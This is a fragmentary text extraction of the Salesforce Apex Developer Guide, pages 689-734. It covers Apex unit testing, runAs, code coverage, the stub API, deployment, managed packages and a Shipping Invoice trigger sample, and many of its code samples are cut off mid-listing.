sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite
300,San Francisco,CA,94105,US
sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San
Francisco,CA,94105,US
689
Apex Developer Guide Testing Apex
for(Integer i=0;i<numAccts;i++) {
Account a = new Account(Name='TestAccount' + i);
accts.add(a);
}
insert accts;
The test method in this class calls the test utility method, createTestRecords, to create five test accounts with three contacts
each.
@IsTest
private class MyTestClass {
static testmethod void test1() {
TestDataFactory.createTestRecords(5,3);
// Run some tests
}
}
690
Apex Developer Guide Testing Apex
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
Example
The following example shows how to create test records once and then access them in multiple test methods. Also, the example shows
how changes that are made in the first test method are rolled back and are not available to the second test method.
@isTest
private class CommonTestSetup {
691
Apex Developer Guide Testing Apex
Note: Apex tests that run as part of a deployment always run synchronously and serially.
692
Apex Developer Guide Testing Apex
1. From Setup, enter Apex Test Execution in the Quick Find box, then select Apex Test Execution.
2. Click Select Tests....
Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking
Compile all classes on the Apex Classes page so that they appear in the list.
3. Select the tests to run. The list of tests includes only classes that contain test methods.
• To select tests from an installed managed package, select the managed package’s corresponding namespace from the dropdown
list. Only the classes of the managed package with the selected namespace appear in the list.
• To select tests that exist locally in your organization, select [My Namespace] from the dropdown list. Only local classes that
aren't from managed packages appear in the list.
• To select any test, select [All Namespaces] from the dropdown list. All the classes in the organization appear, even those in a
managed package.
Note: Classes with tests currently running don't appear in the list.
4. To opt out of collecting code coverage information during test runs, select Skip Code Coverage.
5. Click Run.
After you run tests using the Apex Test Execution page, you can view code coverage details in the Developer Console.
From Setup, enter Apex in the Quick Find box, select Apex Test Execution, then click View Test History to view all test results
for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.
Running Tests Using the Salesforce Extensions for Visual Studio Code
You can execute tests with Visual Studio Code. See Salesforce Extensions for Visual Studio Code and Code Builder.
693
Apex Developer Guide Testing Apex
This call allows you to run the following, as specified in the RunTestsRequest object:
• All tests in all classes
• All tests in a specific namespace
• All tests in a subset of classes in a specific namespace
It returns the following:
• Total number of tests that ran
• Code coverage statistics
• Error information for each failed test
• Information for each test that succeeds
• Time it took to run the test
For more information on runTests(), see runTests() in the SOAP API Developer Guide.
You can also run tests using the Tooling REST API. Use the /runTestsAsynchronous/ and /runTestsSynchronous/
endpoints to run tests asynchronously or synchronously. For usage details, see Tooling API: REST Resources.
694
Apex Developer Guide Testing Apex
insert queueItems;
// Get the result for each test method that was executed.
public static void checkMethodStatus(ID jobId) {
ApexTestResult[] results =
[SELECT Outcome, ApexClass.Name, MethodName, Message, StackTrace
FROM ApexTestResult
WHERE AsyncApexJobId=:jobId];
for (ApexTestResult atr : results) {
System.debug(atr.ApexClass.Name + '.' + atr.MethodName + ': ' + atr.Outcome);
if (atr.message != null) {
System.debug(atr.Message + '\n at ' + atr.StackTrace);
}
}
}
}
695
Apex Developer Guide Testing Apex
SEE ALSO:
Testing and Code Coverage
Salesforce Help: Open the Developer Console
Note: The user's record sharing and object and field permissions are enforced within a runAs block, regardless of the sharing
mode of the test class. If a user-defined method is called in the runAs block, the sharing mode enforced is that of the class where
the method is defined.
You can use runAs only in test methods. The original system context is started again after all runAs test methods complete.
The runAs method ignores user license limits. You can create users with runAs even if your organization has no additional user
licenses.
Note: Every call to runAs counts against the total number of DML statements issued in the process.
In the following example, a new test user is created, then code is run as that user, with that user's record sharing access:
@isTest
private class TestRunAs {
public static testMethod void testRunAs() {
// Setup test data
// Create a unique UserName
String uniqueUserName = 'standarduser' + DateTime.now().getTime() + '@testorg.com';
System.runAs(u) {
// The following code runs as user 'u'
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
}
}
You can nest more than one runAs method. For example:
@isTest
private class TestRunAs2 {
696
Apex Developer Guide Testing Apex
System.runAs(u2) {
// The following code runs as user u2.
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
697
Apex Developer Guide Testing Apex
The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98
SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can
now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can
only make 2 additional SOQL queries before reaching the limit of 100.
The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest
method. Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned
the original limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are
collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. An exception encountered
during stopTest halts the synchronous processing. For example, an unhandled exception in a batch job’s execute method will
prevent the finish method from running in a test context.
SEE ALSO:
Test Apex Triggers
Note: SOSL queries for ContentDocument (File) or ContentNote (Note) entities require using
setFixedSearchResults with ContentVersion IDs to remain consistent with how Salesforce indexes and searches
for files and notes.
Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'), the
record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches the WHERE
clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.
698
Apex Developer Guide Testing Apex
Important:
– Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
• When deploying Apex to a production organization, each unit test in your organization namespace is executed by
default.
• Calls to System.debug aren’t counted as part of Apex code coverage.
• Test methods and test classes aren’t counted as part of Apex code coverage.
• While only 75% of your Apex code must be covered by tests, don’t focus on the percentage of code that is covered.
Instead, make sure that every use case of your application is covered, including positive and negative cases, as well as
bulk and single records. This approach ensures that 75% or more of your code is covered by unit tests.
• Tests don’t run in parallel in metadata deployments, package installations, or change set deployments.
• If code uses conditional logic (including ternary operators), execute each branch.
• Make calls to methods using both valid and invalid inputs.
• Complete successfully without throwing any exceptions, unless those errors are expected and caught in a try…catch block.
• Always handle all exceptions that are caught, instead of merely catching the exceptions.
• Use the methods of the Assert class to prove that the code behaves properly.
• Use the runAs method to test your application in different user contexts.
• Exercise bulk trigger functionality—use at least 20 records in your tests.
• Use the ORDER BY keywords to ensure that the records are returned in the expected order.
• Not assume that record IDs are in sequential order.
Record IDs aren’t created in ascending order unless you insert multiple records with the same request. For example, if you create an
account A, and receive the ID 001D000000IEEmT, then create account B, the ID of account B need not be sequentially higher.
• Write comments stating not only what must be tested, but the assumptions the tester made about the data, the expected outcome,
and so on.
• Test the classes in your application individually. Never test your entire application in a single test.
Note: To protect the privacy of your data, make sure that test error messages and exception details don’t contain any personal
data. The Apex exception handler and testing framework can’t determine if sensitive data is contained in user-defined messages
and details. To include personal data in custom Apex exceptions, we recommend that you create an Exception subclass with new
properties that holds the personal data. Then, don’t include subclass property information in the exception's message string.
699
Apex Developer Guide Testing Apex
If you’re running many tests, test the classes in your organization individually in the Salesforce user interface instead of using the Run
All Tests button to run them all together.
SEE ALSO:
Code Coverage Best Practices
Testing Example
The following example includes cases for the following types of tests:
• Positive case with single and multiple records
• Negative case with single and multiple records
• Testing with other users
The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles
are entered in a single day. The primary object is a custom object named Mileage__c. The test creates one record with 300 miles and
verifies there are only 300 miles recorded. Then a loop creates 200 records with one mile each. Finally, it verifies there are 500 miles
recorded in total (the original 300 plus the new ones). Here’s the entire test class. The following sections step through specific portions
of the code.
@isTest
private class MileageTrackerTestSuite {
Double totalMiles = 0;
final Double maxtotalMiles = 500;
final Double singletotalMiles = 300;
final Double u2Miles = 100;
700
Apex Developer Guide Testing Apex
//Set up user
User u1 = [SELECT Id FROM User WHERE Alias='auser'];
//Run As U1
System.RunAs(u1){
insert testMiles1;
Assert.areEqual(singletotalMiles, totalMiles);
//Bulk validation
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');
Assert.areEqual(maxtotalMiles, totalMiles);
}//end RunAs(u1)
701
Apex Developer Guide Testing Apex
insert testMiles3;
} //System.RunAs(u2)
} // runPositiveTestCases()
try {
insert testMiles3;
Assert.fail('DmlException expected');
} catch (DmlException e) {
//Assert Status Code
Assert.areEqual('FIELD_CUSTOM_VALIDATION_EXCEPTION', e.getDmlStatusCode(0));
//Assert field
Assert.areEqual(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
} //catch
} //RunAs(u3)
} // runNegativeTestCases()
} // class MileageTrackerTestSuite
702
Apex Developer Guide Testing Apex
1. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 300 more miles...single record validation');
4. Use the Assert.areEqual method to verify that the expected result is returned:
Assert.areEqual(singletotalMiles, totalMiles);
5. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;
703
Apex Developer Guide Testing Apex
2. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 501 miles... negative test case');
4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the generated
error message. Use the Assert.fail method to clearly assert that you expect the validation exception.
try {
insert testMiles3;
Assert.fail('DmlException expected');
} catch (DmlException e) {
5. Now use the Assert.areEqual and Assert.isTrue methods to do the testing. Add the following code to the catch
block you previously created:
//Assert Status Code
Assert.areEqual('FIELD_CUSTOM_VALIDATION_EXCEPTION', e.getDmlStatusCode(0));
//Assert field
Assert.areEqual(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
3. Add text to the debug log, indicating the next step of the code:
System.debug('Setting up testing - deleting any mileage records for ' +
UserInfo.getUserName() +
' from today');
704
Apex Developer Guide Testing Apex
6. Use the Assert.areEqual method to verify that the expected result is returned:
Assert.areEqual(u2Miles, totalMiles);
In addition to ensuring the quality of your code, unit tests enable you to meet the code coverage requirements for deploying or packaging
Apex. To deploy Apex or package it for the Salesforce AppExchange, unit tests must cover at least 75% of your Apex code, and those
tests must pass.
Code coverage serves as one indication of test effectiveness, but doesn’t guarantee test effectiveness. The quality of the tests also matters,
but you can use code coverage as a tool to assess whether you need to add more tests. While you need to meet minimum code coverage
705
Apex Developer Guide Testing Apex
requirements for deploying or packaging your Apex code, code coverage shouldn’t be the only goal of your tests. Tests should assert
your app’s behavior and ensure the quality of your code.
Test classes (classes that are annotated with @isTest) are excluded from the code coverage calculation. This exclusion applies to all
test classes regardless of what they contain—test methods or utility methods used for testing.
Note: The Apex compiler sometimes optimizes expressions in a statement. For example, if multiple string constants are concatenated
with the + operator, the compiler replaces those expressions with one string constant internally. If the string concatenation
expressions are on separate lines, the additional lines aren’t counted as part of the code coverage calculation after optimization.
To illustrate this point, a string variable is assigned to two string constants that are concatenated. The second string constant is
on a separate line.
String s = 'Hello'
+ ' World!';
The compiler optimizes the string concatenation and represents the string as one string constant internally. The second line in
this example is ignored for code coverage.
String s = 'Hello World!';
706
Apex Developer Guide Testing Apex
Note: This SOQL query requires the Tooling API. You can run this query by using the Query Editor in the Developer Console and
checking Use Tooling API.
Here’s a sample query result for a class that’s partially covered by tests:
This next example shows how you can determine which test methods covered the class. The query gets coverage information from a
different object, ApexCodeCoverage, which stores coverage information by test class and method.
SELECT ApexTestClass.Name,TestMethodName,NumLinesCovered,NumLinesUncovered
FROM ApexCodeCoverage
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
TaskUtilTest testTaskHighPriority 6 4
The NumLinesUncovered values in ApexCodeCoverage differ from the corresponding value for the aggregate result in
ApexCodeCoverageAggregate because they represent the coverage related to one test method each. For example, test method
testTaskPriority() covered 7 lines in the entire class out of a total of 10 coverable lines, so the number of uncovered lines
with regard to testTaskPriority() is 3 lines (10–7). Because the aggregate coverage stored in ApexCodeCoverageAggregate
includes coverage by all test methods, the coverage of testTaskPriority() and testTaskHighPriority() is included,
which leaves only 2 lines that are not covered by any test methods.
707
Apex Developer Guide Testing Apex
708
Apex Developer Guide Testing Apex
Note: This feature is intended for advanced Apex developers. Using it requires a thorough understanding of unit testing and
mocking frameworks.
Let’s look at an example to illustrate how the stub API works. This example isn’t meant to demonstrate the wide range of possible uses
for mocking frameworks. It’s intentionally simple to focus on the mechanics of using the Apex stub API.
Let’s say we want to test the formatting method in the following class.
public class DateFormatter {
// Method to test
public String getFormattedDate(DateHelper helper) {
return 'Today\'s date is ' + helper.getTodaysDate();
}
}
Usually, when we invoke this method, we pass in a helper class that has a method that returns today’s date.
public class DateHelper {
// Method to stub
public String getTodaysDate() {
return Date.today().format();
}
}
709
Apex Developer Guide Testing Apex
For testing, we want to isolate the getFormattedDate() method to make sure that the formatting is working properly. The return
value of the getTodaysDate() method normally varies based on the day. However, in this case, we want to return a constant,
predictable value to isolate our testing to the formatting. Rather than writing a “fake” version of the class, where the method returns a
constant value, we create a stub version of the class. The stub object is created dynamically at runtime, and we can specify the “stubbed”
behavior of its method.
To use a stub version of an Apex class:
1. Define the behavior of the stub class by implementing the System.StubProvider interface.
2. Instantiate a stub object by using the System.Test.createStub() method.
3. Invoke the relevant method of the stub object from within a test class.
// You can use the method name and return type to determine which method was called.
// You can also use the parameter names and types to determine which method
// was called.
for (integer i =0; i < listOfParamNames.size(); i++) {
System.debug('parameter name: ' + listOfParamNames.get(i));
System.debug(' parameter type: ' + listOfParamTypes.get(i).getName());
}
// This shows the actual parameter values passed into the stubbed method at runtime.
710
Apex Developer Guide Testing Apex
else
return null;
}
}
StubProvider is a callback interface. It specifies a single method that requires implementing: handleMethodCall(). When
a stubbed method is called, handleMethodCall() is called. You define the behavior of the stubbed class in this method. The
method has the following parameters.
• stubbedObject: The stubbed object
• stubbedMethodName: The name of the invoked method
• returnType: The return type of the invoked method
• listOfParamTypes: A list of the parameter types of the invoked method
• listOfParamNames: A list of the parameter names of the invoked method
• listOfArgs: The actual argument values passed into this method at runtime
You can use these parameters to determine which method of your class was called, and then you can define the behavior for each
method. In this case, we check the return type of the method to identify it and return a hard-coded value.
This class contains the method createMock(), which invokes the Test.createStub() method. The createStub()
method takes an Apex class type and an instance of the StubProvider interface that we created previously. It returns a stub object
that we can use in testing.
711
Apex Developer Guide Deploying Apex
In this test, we call the createMock() method to create a stub version of the DateHelper class. We can then invoke the
getTodaysDate() method on the stub object, which returns our hard-coded date. Using the hard-coded date allows us to test
the behavior of the getFormattedDate() method in isolation.
SEE ALSO:
StubProvider Interface
Test.createStub()
Deploying Apex
You can't develop Apex in your Salesforce production org. Your development work is done in a sandbox, in a scratch org, or in a Developer
Edition org.
Compile On Deploy
Each org’s Apex code is automatically recompiled before completing a metadata deploy, package install, or package upgrade. Compile
on deploy is enabled automatically for production orgs and full sandboxes to ensure that users don’t experience reduced performance
immediately following a deployment. You can’t disable the compile on deploy option in production orgs.
For developer sandbox, developer pro sandbox, partial copy sandbox, developer, trial, and scratch orgs, this feature is disabled by default.
To enable, select the Perform Synchronous Compile on Deploy option under Apex Settings in Setup. Deselect this option if you want
to disable the feature in full sandboxes.
With the Compile on Deploy feature, deployments to the org invoke the Apex compiler and save the resulting bytecode as part of the
deployment. For example, if you deploy a custom field, all the classes that use that custom field are recompiled. A minimal increase in
deployment times can occur, but Apex doesn’t need to be recompiled to process subsequent requests. The slight increase in deployment
712
Apex Developer Guide Deploying Apex
time can, in fact, mitigate performance issues for currently active users or processes. Consider enabling this feature in sandboxes or
scratch orgs shared by multiple users for functional testing or used by continuous integration processes.
Available in Enterprise,
SEE ALSO: Performance, Unlimited,
Sandboxes: Staging Environments for Customizing and Testing: Change Sets and Database.com Editions
Deploy Apex Using Salesforce Extensions for Visual Studio Code and Code Builder
Salesforce Extensions for VS Code and Code Builder are powered by Salesforce CLI and the Salesforce APIs.
Salesforce Extensions for Visual Studio Code support different deployment options based on your role and needs as a customer, system
integrator, or independent software vendor (ISV) partner. Salesforce DX supports Org Development and Package Development models
to authorize, create, and deploy code in your project. For information on how to deploy to a Salesforce org with Visual Studio Code, see
Salesforce Development Models.
Salesforce Code Builder is a web-based integrated development environment that has all the power and flexibility of Visual Studio Code
in your web browser. For information on how to connect an org to your Code Builder environment and deploy your code, see Code
Builder: Quick Start.
SEE ALSO:
Salesforce Extensions for Visual Studio Code: Deploy and Retrieve Code
Salesforce DX Developer Guide: Develop Against Any Org
Salesforce CLI Command Reference: project deploy start
713
Apex Developer Guide Distributing Apex Using Managed Packages
SEE ALSO:
Metadata API Developer Guide: deploy()
Using Salesforce Features with Apex: Metadata
SEE ALSO:
Tooling API: When to Use Tooling API
Important: If a ConnectApi class has a dependency on Chatter, the code can be compiled and installed in orgs that don’t
have Chatter enabled. However, if Chatter isn’t enabled, the code throws an error at run time. See Packaging ConnectApi
Classes on page 431.
1. What is a Package?
2. Package Versions
3. Deprecating Apex
4. Behavior in Package Versions
What is a Package?
A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package,
you can distribute it to other Salesforce users and organizations, including those outside your company. An organization can create a
714
Apex Developer Guide Distributing Apex Using Managed Packages
single managed package that can be downloaded and installed by many different organizations. Managed packages differ from
unmanaged packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages
do not include locked components and cannot be upgraded.
Package Versions
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages aren’t upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
When an existing subscriber installs a new package version, there’s still only one instance of each component in the package, but the
components can emulate older versions. For example, a subscriber can use a managed package that contains an Apex class. If the
publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber still sees only one instance
of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that
references the deprecated method in the older version.
Note the following when developing Apex in managed packages:
• The code contained in an Apex class, trigger, or Visualforce component that’s part of a managed package is obfuscated and can’t
be viewed in an installing org. The only exceptions are methods declared as global. You can view global method signatures in an
installing org. In addition, License Management Org users with the View and Debug Managed Apex permission can view their
packages’ obfuscated Apex classes when logged in to subscriber orgs via the Subscriber Support Console.
• Managed packages receive a unique namespace. This namespace is prepended to your class names, methods, variables, and so on,
which helps prevent duplicate names in the installer’s org.
• In a single transaction, you can only reference 10 unique namespaces. For example, suppose that you have an object that executes
a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different
class in a different package. Even though the first package didn’t access the second package directly, the access occurs in the same
transaction. It’s therefore included in the number of namespaces accessed in a single transaction.
• Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you’re
refactoring code in managed packages as the requirements evolve.
• You can write test methods that change the package version context to a different package version by using the system method
runAs.
• You can’t add a method to a global interface or an abstract method to a global class after the interface or class has been uploaded
in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to
it must also be virtual and must have an implementation. If the class in the Managed - Release package extends another class, the
existing classes contract can't be removed.
• Apex code contained in an unmanaged package that explicitly references a namespace can’t be uploaded.
Deprecating Apex
Package developers can use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, and variables
that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you’re
refactoring code in managed packages as the requirements evolve. After you upload another package version as Managed - Released,
new subscribers that install the latest package version can’t see the deprecated elements, while the elements continue to function for
715
Apex Developer Guide Distributing Apex Using Managed Packages
existing subscribers and API integrations. A deprecated item, such as a method or a class, can still be referenced internally by the package
developer.
Note: You can’t use the deprecated annotation in Apex classes or triggers in unmanaged packages.
Package developers can use Managed - Beta package versions for evaluation and feedback with a pilot set of users in different Salesforce
organizations. If a developer deprecates an Apex identifier and then uploads a version of the package as Managed - Beta, subscribers
that install the package version still see the deprecated identifier in that package version. If the package developer then uploads a
Managed - Released package version, subscribers will no longer see the deprecated identifier in the package version after they install it.
716
Apex Developer Guide Distributing Apex Using Managed Packages
}
}
For a full list of methods that work with package versions, see Version Class and the System.requestVersion method in System
Class.
The request context is persisted if a class in the installed package invokes a method in another class in the package. For example, a
subscriber has installed a GeoReports package that contains CountryUtil and ContinentUtil Apex classes. The subscriber creates a new
GeoReportsEx class and uses the version settings to bind it to version 2.3 of the GeoReports package. If GeoReportsEx invokes a method
in ContinentUtil that internally invokes a method in CountryUtil, the request context is propagated from ContinentUtil to CountryUtil
and the System.requestVersion method in CountryUtil returns version 2.3 of the GeoReports package.
Note: You cannot deprecate webservice methods or variables in managed package code.
If a package upgrade includes an explicit global constructor for an already released global class (that previously only had an implicit
constructor) the new, explicit constructor will be called from the subscriber. Additionally, you cannot reduce the access modifier on the
default constructor on a released global class in a package.
717
Apex Developer Guide Distributing Apex Using Managed Packages
The following test class uses the runAs method to verify the trigger's behavior with and without a specific version:
@isTest
private class OppTriggerTests{
718
Apex Developer Guide Apex Reference
}
catch(System.DMLException e){
System.assert(false, e.getMessage());
}
}
Apex Reference
In Summer ’21 and later versions, Apex reference content is moved to a separate guide called the Apex Reference Guide.
For reference information on Apex classes, interfaces, exceptions and so on, see Apex Reference Guide.
Appendices
719
Apex Developer Guide Shipping Invoice Example
Reserved Keywords
These words can be used only as keywords.
Documentation Typographical Conventions
Apex and Visualforce documentation uses these typographical conventions.
Note: The Shipping Invoice sample requires custom objects. You can either create these on your own, or download the objects
and Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the
Apex Tutorials Package. This package also contains sample code and objects for the Apex Quick Start.
Scenario
In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for
the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.
720
Apex Developer Guide Shipping Invoice Example
Shipping Currency The amount charged for shipping (assumes $0.75 per pound)
ShippingDiscount Currency Only applied once when subtotal amount reaches $100
All of the Apex for this application is contained in triggers. This application has the following triggers:
Shipping_invoice ShippingDiscount after update Updates the shipping invoice, calculating if there is a
shipping discount
The following is the general flow of user actions and when triggers run:
721
Apex Developer Guide Shipping Invoice Example
Flow of user action and triggers for the shopping cart application
1. User clicks Orders > New, names the shipping invoice and clicks Save.
2. User clicks New Item, fills out information, and clicks Save.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.
In Shipping Invoice Example Code both of the triggers and the test class are listed. The comments in the code explain the functionality.
722
Apex Developer Guide Shipping Invoice Example
• Calculate trigger
• ShippingDiscount trigger
• Test class
Calculate Trigger
trigger calculate on Item__c (after insert, after update, after delete) {
for(item__c i :itemList){
// Assert numbers are not negative.
// None of the fields would make sense with a negative value
// Accessing all shipping invoices associated with the items in the trigger
List<Shipping_Invoice__C> AllShippingInvoices = [SELECT Id, ShippingDiscount__c,
SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
FROM Shipping_Invoice__C WHERE Id IN :AllItems];
723
Apex Developer Guide Shipping Invoice Example
// because you must iterate a list, but you can use lookup for a map,
Map<ID, Shipping_Invoice__C> SIMap = new Map<ID, Shipping_Invoice__C>();
for(Shipping_Invoice__C sc : AllShippingInvoices)
{
SIMap.put(sc.id, sc);
}
724
Apex Developer Guide Shipping Invoice Example
updateMap.put(myOrder.id, myOrder);
}
}
else
{
for(Item__c itemToProcess : itemList)
{
Shipping_Invoice__C myOrder;
// Look up the correct shipping invoice from the ones we got earlier
myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
myOrder.SubTotal__c += (itemToProcess.price__c *
itemToProcess.quantity__c * subtract);
myOrder.TotalWeight__c += (itemToProcess.weight__c *
itemToProcess.quantity__c * subtract);
}
updateMap.put(myOrder.id, myOrder);
}
}
ShippingDiscount Trigger
trigger ShippingDiscount on Shipping_Invoice__C (before update) {
// Free shipping on all orders greater than $100
725
Apex Developer Guide Shipping Invoice Example
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
726
Apex Developer Guide Shipping Invoice Example
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
}
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was '
+ order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
727
Apex Developer Guide Shipping Invoice Example
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
728
Apex Developer Guide Shipping Invoice Example
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
}
// Testing free shipping
public static testmethod void testFreeShipping(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
729
Apex Developer Guide Shipping Invoice Example
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
730
Apex Developer Guide Reserved Keywords
insert Order1;
Item__c item1 = new Item__C(Price__c = -10, weight__c = 1, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = -2, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = -1,
Shipping_Invoice__C = order1.id);
Item__c item4 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 0,
Shipping_Invoice__C = order1.id);
try{
insert item1;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Price must be non-negative'),
'Price was negative but was not caught');
}
try{
insert item2;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Weight must be non-negative'),
'Weight was negative but was not caught');
}
try{
insert item3;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Quantity must be positive'),
'Quantity was negative but was not caught');
}
try{
insert item4;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Quantity must be positive'),
'Quantity was zero but was not caught');
}
}
}
Reserved Keywords
These words can be used only as keywords.
731
Apex Developer Guide Reserved Keywords
732
Apex Developer Guide Documentation Typographical Conventions
These words are special types of keywords that aren't reserved words and can be used as identifiers.
• after
• before
• count
• excludes
• first
• includes
• last
• order
• sharing
• with
Convention Description
Courier font In descriptions of syntax, a monospace font indicates items that you should type as shown,
except for brackets. For example:
Public class HelloWorld
Italics In descriptions of syntax, italics represent variables. You supply the actual value. In the following
example, three values must be supplied: datatype variable_name [ = value];
If the syntax is bold and italic, the text represents a code element that needs a value supplied
by you, such as a class name or variable value:
Bold Courier font In code samples and syntax descriptions, a bold courier font emphasizes a portion of the code
or syntax.
<> In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
733
Apex Developer Guide Documentation Typographical Conventions
Convention Description
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
| In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all).
In the following example, you can create a new unpopulated set in one of two ways, or you
can populate the set:
Set<data_type> set_name
[= new Set<data_type>();] |
[= new Set<data_type{value [, value2. . .] };] |
;
734